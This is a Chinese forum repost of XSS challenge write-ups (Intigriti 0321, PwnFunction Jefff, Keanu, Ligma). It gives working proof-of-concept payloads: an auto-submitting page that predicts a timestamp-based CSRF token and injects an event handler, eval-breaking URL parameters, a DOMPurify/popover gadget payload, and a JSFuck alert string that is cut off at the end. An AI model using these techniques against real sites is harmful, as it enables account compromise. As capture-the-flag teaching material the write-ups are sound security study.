2024全网最全面及最新且最为详细的网络安全本领 七之 XSS漏洞典例分析POC以 ...

打印 上一主题 下一主题

主题 1046|帖子 1046|积分 3138

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
     7.6 Intigriti XSS 系列寻衅 Writeups(续)

   

  • 目次
         7.6 Intigriti XSS 系列寻衅 Writeups(续)

    7.6.4 xss challenge 0321
    思绪分析
    POC
    7.7 Jefff
    永远不要使用 eval

    7.8 Keanu
    首先我们来看我们的可控点
    number标签被写入内容

    7.9 Ligma
    7.10 Ma Spaghet!
    InnerHtml
    安全题目

  • 7.6.4 xss challenge 0321
  • 地址: https://challenge-0321.intigriti.io/,有如下要求:
  • 使用最新版的Firefox大概Chrome浏览器
  • 通过alert()弹出 flag{THIS_IS_THE_FLAG}
  • 利用此页面的xss漏洞
  • 不允许self-XSS 和 MiTM 攻击
  • 思绪分析
  • 查看网页源码,view-source:https://challenge-0321.intigriti.io/,无法访问:


  • 不过用Devtools可以查看,通过对网页功能举行简要测试,发现在输入框中,可以输入和生存notes,输入也是及时更新在html页面中,同时带有特定的CSRF值:


  • 因为contenteditable属性允许用户直接修改html中的元素内容,详见:HTML Standard
  • 此外,颠末大量的字符测试,发现网页有一个特别的特性。例如我们输入ftp://attack.com大概http://attack.com这类带有协议名的特别输入并生存,网页会生成一个特定的<a ...>标签



  •          

  • 这样我们便有了一个可控的标签,输入一些特别字符实验构造闭合,发现网页对' "等特别字符举行了过滤,举行了截断,无法与包含协议名的payload构造为一个团体形成构造闭合:


  • 通过将更改POST数据中csrf notes的范例(加上[] ,这是曾经做CTF题型时学习到的一个思绪),可以看到一些风趣的信息:




  • 这里发现对于notes的输入是由PHPhtmlspecialchars()过滤的,这里查询了相关资料,并举行了字符集的测试,发现了类似于邮箱的地址xss@attack.com可以被成功输入,并且也能使网页自动添加<a ...> :


  • 通过RFC2822 可以知道,邮箱名中可以包含很多特别的字符,例如"xss"@attack.com依然可以被认定为一个合法的邮箱地址,并能够构造闭合,让我们控制标签内容:


  • 构造payload:"onclick=alert(1);"@attack.com,即可实现self-xss:

    1. <input type="hidden" name="csrf" value="f20927170100763667bf20d684f36515"/>
    2. ...
    3. ...
    4. <!-- page generated at 2021-04-21 13:43:41 -->
    复制代码
  • 由于题目不允许self-xss,以是我们需要从绕过csrf的角度入手,实现无需交互的xss。如果csrf令牌不精确,则会体现403:


  • 我们知道csrf令牌都是动态生成的,通常环境下该令牌可以由时间戳的加密哈希大概一些随机输入的加密哈希生成。这里我们对峙页面源码注意到包含页面的生成时间
    1. <input type="hidden" name="csrf" value="f20927170100763667bf20d684f36515"/>
    2. ...
    3. ...
    4. <!-- page generated at 2021-04-21 13:43:41 -->
    复制代码
  • 颠末测试将日期转为时间戳并通过MD5加密,得到了雷同的结果,由此,便可以绕过csrf的限制:


  • 现在,我们需要能够举行MD5加密的JS,可以从以下地址获得:
    1. # CryptoJS.MD5()
    2. https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/core.js
    3. https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/md5.js
    复制代码
  • 为了保证我们生成的csrf令牌与网页自动生成的不停,需要查看攻击服务器的时间戳与题目网页时间戳之间的误差:


  • 可以看到两个时间戳之间存在8小时时差,通过调解,可以使攻击服务器生成了csrf令牌与网页生成的令牌一致:

  • POC
  • 综合上面的思绪,可以构造以下poc:
    1. <html>
    2. <head>
    3.     <title>xss</title>
    4. </head>
    5. <body>
    6.     <!-- 在页面中嵌入一个 iframe,指向 https://challenge-0321.intigriti.io/ -->
    7.     <iframe src="https://challenge-0321.intigriti.io/" width="1000" height="1000"></iframe>
    8.    
    9.     <!-- 引入 CryptoJS 库,用于计算时间戳的 MD5 哈希 -->
    10.     <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/core.js"></script>
    11.     <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/md5.js"></script>
    12.    
    13.     <!-- 创建一个表单,用于提交攻击所需的数据到 https://challenge-0321.intigriti.io/ -->
    14.     <form method="POST" action="https://challenge-0321.intigriti.io/" id="send">
    15.         <!-- CSRF token 字段 -->
    16.         <input type="hidden" name="csrf" id="csrf" value="">
    17.         <!-- 攻击载荷,这里的 payload 字段将被注入 XSS 攻击代码 -->
    18.         <input type="hidden" id="payload" name="notes" value="">
    19.     </form>
    20.    
    21.     <script>
    22.         // 获取当前时间戳(毫秒级)
    23.         var ts0 = Date.parse(new Date());
    24.         // 将时间戳转换为字符串并截取前10位(秒级时间戳)
    25.         var ts1 = String(ts0).substring(0,10);
    26.         // 计算时间戳的 MD5 哈希
    27.         var passhash = CryptoJS.MD5(ts1).toString();
    28.         
    29.         // 格式化时间戳为特定格式的日期时间字符串
    30.         function add0(m){return m<10?'0'+m:m }
    31.         function format(date){
    32.           var time = new Date(date);
    33.           var y = time.getFullYear();
    34.           var m = time.getMonth()+1;
    35.           var d = time.getDate();
    36.           var h = time.getHours()-8; // 减去8小时,可能是为了时区调整
    37.           var mm = time.getMinutes();
    38.           var s = time.getSeconds();
    39.           dd = y+'-'+add0(m)+'-'+add0(d)+' '+add0(h)+':'+add0(mm)+':'+add0(s);
    40.           return dd;
    41.         }
    42.         
    43.         // 打印格式化后的时间戳、原始时间戳、截取的时间戳和计算得到的哈希
    44.         console.log(format(ts0));
    45.         console.log(ts0);
    46.         console.log(ts1);
    47.         console.log(passhash);
    48.         
    49.         // 设置一个定时器,延迟100毫秒后执行 XSS 攻击函数 xss()
    50.         setTimeout(xss, 100);
    51.         
    52.         // XSS 攻击函数,设置表单中的值并自动提交表单
    53.         function xss(){
    54.           document.getElementById("csrf").value = passhash; // 将计算得到的哈希赋值给 CSRF 字段
    55.           // 设置攻击载荷,这里注入一个含有 XSS 代码的字符串
    56.           document.getElementById("payload").value = ""onmouseover=alert('flag{THIS_IS_THE_FLAG}');"@attack.com";
    57.           // 提交表单,触发攻击
    58.           document.getElementById("send").submit();
    59.         }
    60.     </script>
    61. </body>
    62. </html>
    复制代码


   

   

  • 7.7 Jefff
  •  Difficulty is Easy.
  • Pop an alert(1337) on sandbox.pwnfunction.com.
  • No user interaction.
  • Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
  • Tested on Chrome.
    1. <h2 id="maname"></h2>
    2. <script>
    3.     let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    4.     let ma = ""
    5.     eval(`ma = "Ma name ${jeff}"`)
    6.     setTimeout(_ => {
    7.         maname.innerText = ma
    8.     }, 1000)
    9. </script>
    复制代码
  • 我们直接分析上述代码,和上一个游戏一样,还是有一个jeff参数,但是这次多了一个eval函数,这个函数究竟起到什么作用了呢,我们依然看官方文档。
  • **eval()** 函数会将传入的字符串当做 JavaScript 代码举行执行。
    1. console.log(eval('2 + 2'));
    2. // expected output: 4
    3. console.log(eval(new String('2 + 2')));
    4. // expected output: 2 + 2
    5. console.log(eval('2 + 2') === eval('4'));
    6. // expected output: true
    7. console.log(eval('2 + 2') === eval(new String('2 + 2')));
    复制代码
  • 永远不要使用 eval
    1. eval() 是一个危险的函数, 它使用与调用者相同的权限执行代码。
    2. 如果你用 eval() 运行的字符串代码被恶意方(不怀好意的人)修改,
    3. 您最终可能会在您的网页/扩展程序的权限下,在用户计算机上运行恶意代码。
    4. 更重要的是,第三方代码可以看到某一个 eval() 被调用时的作用域,
    5. 这也有可能导致一些不同方式的攻击。相似的 Function 就不容易被攻击。
    复制代码
    1. function looseJsonParse(obj){
    2.     return eval("(" + obj + ")");
    3. }
    4. console.log(looseJsonParse(
    5.    "{a:(4-1), b:function(){}, c:new Date()}"
    6. ))
    7. 不好的写法
    复制代码
    1. function looseJsonParse(obj){
    2.     return Function('"use strict";return (' + obj + ')')();
    3. }
    4. console.log(looseJsonParse(
    5.    "{a:(4-1), b:function(){}, c:new Date()}"
    6. ))
    7. 好的写法
    复制代码
  • 比力上面的两个代码片段,两个代码片段好像是以雷同的方式工作,但再想一想:eval的这个代码的速度要慢得多。 注意c: new Date()在执行体中。 在没有eval的函数中,对象在全局范围内被用来举行计算,因此浏览器可以放心的假设Date是来自window.Date的而不是一个名为Date的局部变量。 然而,在使用eval()的代码中,浏览器不能假设这一点,因为如果您的代码是下面这个
    1. function Date(n){
    2.     return ["Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"][n%7 || 0];
    3. }
    4. function looseJsonParse(obj){
    5.     return eval("(" + obj + ")");
    6. }
    7. console.log(looseJsonParse(
    8.    "{a:(4-1), b:function(){}, c:new Date()}"
    9. ))
    复制代码
  • 因此,在eval()版本的代码中,浏览器被迫举行高代价的查找调用以查抄是否存在名为Date()的任何局部变量。 与Function()相比,这是非常低效的。
  • 在类似的环境下,如果您确实希望能够从Function()内部的代码调用Date函数,该怎么办? 你应该躲避并退回到eval()吗? 绝对不是,永远不要这么做。 而是实验下面的方法。
    1. function Date(n){
    2.     return ["Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"][n%7 || 0];
    3. }
    4. function runCodeWithDateFunction(obj){
    5.     return Function('"use strict";return (' + obj + ')')()(
    6.         Date
    7.     );
    8. }
    9. console.log(runCodeWithDateFunction(
    10.    "function(Date){ return Date(5) }"
    11. ))
    复制代码
  • 由于三重嵌套函数,上面的代码好像服从低下,但让我们分析一下上述有用方法的好处:
  • 1.它使得转达给runCodeWithDateFunction的字符串中的代码更少。
  • 2.函数调用开销很小,使得代码尺寸小得多,值得获益
  • 3. Function()更轻易让你的代码利用特性修饰"use strict";
  • 4.代码不使用eval(),使其比其他方式快几个数目级。
  • 最后,我们来看看简化版。 使用如上所示的Function(),您可以更有用地缩小转达给runCodeWithDateFunction的代码字符串,因为函数参数名称也可以缩小,如下面的缩小代码所示。
    1. console.log(Function('"use strict";return(function(a){return a(5)})')()(function(a){
    2. return"Monday Tuesday Wednesday Thursday Friday Saturday Sunday".split(" ")[a%7||0]}));
    复制代码
    1. 题目解法
    2. jeff=1";alert(1);//
    3. 官方解法
    4. jeff="-alert(1)-"
    5. 在js中-两边都是表达式,则可以执行代码
    复制代码

  


   

  • 7.8 Keanu
  • 先分析代码
    1. <!-- Challenge -->
    2. <number id="number" style="display:none"></number> <!-- 隐藏的数字元素,用于显示数字 -->
    3. <div class="alert alert-primary" role="alert" id="welcome"></div> <!-- 显示欢迎消息的警告框 -->
    4. <button id="keanu" class="btn btn-primary btn-sm"
    5.     data-toggle="popover"
    6.     data-content="DM @PwnFunction"
    7.     data-trigger="hover"
    8.     onclick="alert(`If you solved it, DM me @PwnFunction :)`)">
    9.     Solved it?
    10. </button> <!-- 按钮,用于提示解决了挑战的消息,同时在鼠标悬停时显示 popover 提示框 -->
    11. <script>
    12.     /* Input */
    13.     // 从 URL 查询参数中获取数字(默认为 "7")和名字,使用 DOMPurify 进行安全处理
    14.     var number = (new URL(location).searchParams.get('number') || "7")[0],
    15.         name = DOMPurify.sanitize(new URL(location).searchParams.get('name'), { SAFE_FOR_JQUERY: true });
    16.    
    17.     // 将获取的数字显示在页面上
    18.     $('number#number').html(number);
    19.    
    20.     // 显示欢迎消息,如果没有提供名字则默认为 "Mr. Wick"
    21.     $('#welcome').html(`Welcome <b>${name || "Mr. Wick"}!</b>`);
    22.     /* Greet */
    23.     // 当页面加载后,显示按钮上的 popover 提示框
    24.     $('#keanu').popover('show');
    25.    
    26.     // 2秒后隐藏按钮上的 popover 提示框
    27.     setTimeout(_ => {
    28.         $('#keanu').popover('hide');
    29.     }, 2000);
    30.     /* Check Magic Number */
    31.     // 生成一个随机的魔术数字(0到9之间)
    32.     var magicNumber = Math.floor(Math.random() * 10);
    33.     // 从页面上获取显示的数字并计算其值
    34.     var number = eval($('number#number').html());
    35.    
    36.     // 检查魔术数字是否等于页面上显示的数字
    37.     if (magicNumber === number) {
    38.         alert("You're Breathtaking!"); // 如果相等,弹出消息
    39.     }
    40. </script>
    复制代码
  • 本题题目引入了四个 js 文件:
    1. !-- DOMPurify(2.0.7) -->
    2.     <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.0.7/purify.min.js"
    3.         integrity="sha256-iO9yO1Iy0P2hJNUeAvUQR2ielSsGJ4rOvK+EQUXxb6E=" crossorigin="anonymous"></script>
    4.     <!-- Jquery(3.4.1), Popper(1.16.0), Bootstrap(4.4.1) -->
    5.     <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js"
    6.         integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n"
    7.         crossorigin="anonymous"></script>
    8.     <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js"
    9.         integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo"
    10.         crossorigin="anonymous"></script>
    11.     <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js"
    12.         integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6"
    13.         crossorigin="anonymous"></script>
    复制代码
  • 这个题目也比力有意思,额外给我们增加的这几个 js 文件,也就是说这几个文件就是这道题我们可能需要用的工具了。
  • Purify.js 是一个 XSS WAF,Popper.js是一个用于构造提示的组件,题目中也给了一个简朴的使用 popper 的例子,Jqeury.js 与 Bootstrap 就不多说了。
  • 首先我们来看我们的可控点
  • 一个是 name 参数,另一个是 number 参数。然而 number 参数我们却只能使用一位,而 name 参数虽然任意长度可控,但是要颠末 XSS WAF 过滤。虽然之前有一些利用 mxss bypass Domprify 的事例,但是都是在 2.0 左右的版本,这里的 2.0.7 又是最新的版本,应该不会是什么新的绕过,否则 number 参数与最后的 eval($(“number#number”).html()); 就没用了,并且另有一些其他工具我们没有用上。
  • 以是我们应该能用到的就是通过最后一个eval($(“number#number”).html())举行 XSS ,而 number 我们可控的只有一位,我们可能得想一些其他办法添加 number 标签当中的内容。
  • 我们可以看到 popper document 结合题目给出的那个例子,我们可以发现貌似这个 popper.js 可以满足我们添加新内容条件,而在文档 options 部分,我们可以到有一些我们值得关注的参数:

  • 从文档知道,我们可以通过data-container来控制 popover 的位置,data-content来控制内容,于是我们是不是可以有一个想法把这个 popover 弄到 number 标签当中呢?于是我们可以实验构造如下 payload :  
    1. <button id="keanu" data-toggle="popover" data-container="#number" data-content="hello">
    复制代码
  • 利用题目中原有的$(“#keanu”).popover(“show”);来触发我们的 popover ,我们临时先注释掉题目当中的耽误关闭的功能以便于我们观察。


    1. 7<div class="popover fade bs-popover-right show" role="tooltip" id="popover238474" x-placement="right" style="position: absolute;">
    2. <div class="arrow"></div><h3 class="popover-header">
    3. </h3><div class="popover-body">hello</div>
    4. </div>
    复制代码
  •  
  • number标签被写入内容
  • 我们这样我们简化一下这个内容:7<template>hello</template>,我们可控的地方就是 7 与 hello ,<template>就是 popper.js 实现的 popover 功能的代码,这个我们不需要关注,以是这样题目就酿成了怎样在$str=”$1<template>$any</template>”;eval($str);当中执行代码的题目了。
  • 到这里其实答案已经呼之欲出了,既然是在eval当中,我们可以利用第一位为单引号,由于中央$any我们任意可控,后面再用一个单引号将<template>酿成字符串,//注释掉后面的</template>即可,整个 payload 便是'<tamplate>’;alert();//</tamplate>。
  • 以是我们需要这么构造一个元素:
    1. <button id="keanu" data-toggle="popover" data-container="#number" data-content="';alert(1);//">
    复制代码
  • 即可实现 XSS,以是 payload:
    1. number='&name=<button id%3D"keanu" data-toggle%3D"popover" data-container%3D"%23number" data-content%3D"'%3Balert(1)%3B%2F%2F">
    复制代码

  

   

  • 7.9 Ligma
    1. balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
    2. balls = balls.replace(/[A-Za-z0-9]/g, '')
    3. eval(balls)
    复制代码
  • 代码非常简朴,大A到大Z,小A到小Z,0-9不能使用,显着无法使用编码,那么我们怎样去绕过此关呢?
  • 非常简朴的一个绕过方式:
    1. jsfuck网站加密
    2. [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])
    3. 以上内容为alert(1)
    4. 这样直接写,是否可以,仔细想想
    复制代码
  • 这样无法被url解析,我们需要改为urlcode编码方式
    1. %5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%2B%5B!%5B%5D%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%2B(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D))%5B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B((%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B